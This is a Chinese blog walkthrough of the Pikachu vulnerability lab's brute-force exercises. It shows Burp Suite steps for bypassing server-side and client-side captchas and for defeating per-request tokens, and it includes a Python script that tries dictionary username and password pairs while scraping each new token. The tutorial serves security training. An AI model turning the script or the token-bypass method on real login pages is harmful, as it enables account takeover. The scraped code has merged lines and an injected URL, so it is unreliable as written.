Burte Force(暴力破解)
概述 “暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
文章目录
- Burte Force(暴力破解)
- 概述
- 1.基于表单的暴力破解
- 2.验证码绕过(on server)
- 3.验证码绕过(on client)
- 4.token防爆破?
- 方法一:Burp爆破
- 方法二:Python爆破
1.基于表单的暴力破解 ? 抓包查看可以看到没有任何限制
文章图片
所以直接发送到Intruder模块暴力破解即可,如下已出结果:
文章图片
如果想看更多关于burp操作的内容的请看这篇文章:DVWA Brute Force(暴力破解)
2.验证码绕过(on server)
Tips: 这个验证码好像一直有效哎!用户还是那三个默认用户.正确输入验证码,然后抓个包查看
文章图片
发送到Repeater模块查看,多次试验后可以看到验证码并未过期,可以多次使用,所以验证码并不影响暴力破解
文章图片
再次进行暴力破解,成功出结果:
文章图片
3.验证码绕过(on client) 查看网站源码,发现生成验证码和校验验证码皆在客户端进行,所以可以绕过
文章图片
依然是burp抓包,输入正确的验证码
文章图片
这里验证码不会在后端校验,所以可以绕过验证码校验,还是可以进行暴力破解:
文章图片
4.token防爆破? 科普一下Token:
token是计算机术语令牌,令牌是一种能够控制站点占有媒体的特殊帧,以区别数据帧及其他控制帧;token其实说的更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。这里的token就是每次请求的时候服务端都会返回一个token值,登陆的时候需要附带获取的token参数才能登录。每次请求服务端都返回一个新的token,每次尝试登录的时候token都不一样,这就会加大暴力破解的难度。
——PHP中文网
方法一:Burp爆破 首先抓包,发送到Intruder,设置模式为Pitchfork,设置usrename,password,token为参数。
文章图片
然后在Resource Pool(资源池)中选择单线程爆破,因为接下来要设置的Recursive_Grep模式只能单线程爆破
文章图片
然后在Options选项卡,选择Grep-Extract(意思是用于提取响应消息中的有用信息),点击Add进入Define页面。
文章图片
文章图片
返回Payload模块,设置token值即payload3的Payload type为Recursive grep,它表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换
token
的值。然后在
Initial payload for first request:
设置第一次请求的token值。文章图片
点击Start attack开始暴力破解。
跑完字典之后可以看到成功爆破。
文章图片
方法二:Python爆破 代码详细解析请看Python暴力破解网站登录密码(带token验证)
此处为代码:
from bs4 import BeautifulSoup
import requests
from requests.models import Responseurl = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"}# 代理设置,方便burp抓包查看和调试
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}def get_token(r):
soup = BeautifulSoup(r.text, 'html.parser')
user_token = soup.select('input[name="token"]')[0]['value']
return user_tokenif __name__ == "__main__":
f = open('result.csv', 'w')#把爆破结果储存到文件里,这里为csv格式
f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n')#给文件设置标题#遍历字典文件,Cluster bomb 暴力破解
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {#payload为POST的数据
'username': username,
'password': password,
'token': user_token,
'submit': 'Login'
}Response = requests.post(url, data=https://www.it610.com/article/payload, headers=header)
result = username +',' + password + ',' + str(len(Response.text))#用户名密码以及响应包长度print(result)#输出到终端
f.write(result + '\n')#输出到文件
user_token = get_token(Response)#调用get_token函数获取下一次循环需要的token
print('\n---完成---\n')
f.close()
运行结果如下:
【pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)】
推荐阅读
- 安全|【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-3
- 安全|burpsuite的使用--Intruder模块
- php|pikachu上的密码口令暴力破解
- 网络安全|信息收集搜索引擎收集、目录扫描、Git信息收集
- 渗透演练|WEB漏洞渗透测试靶场整理资源
- 护网各大厂商面试题汇总(3.19 V2)
- web|HW蓝队面试题(初级)
- 安全|【Web安全攻防】
- web安全攻防实训笔记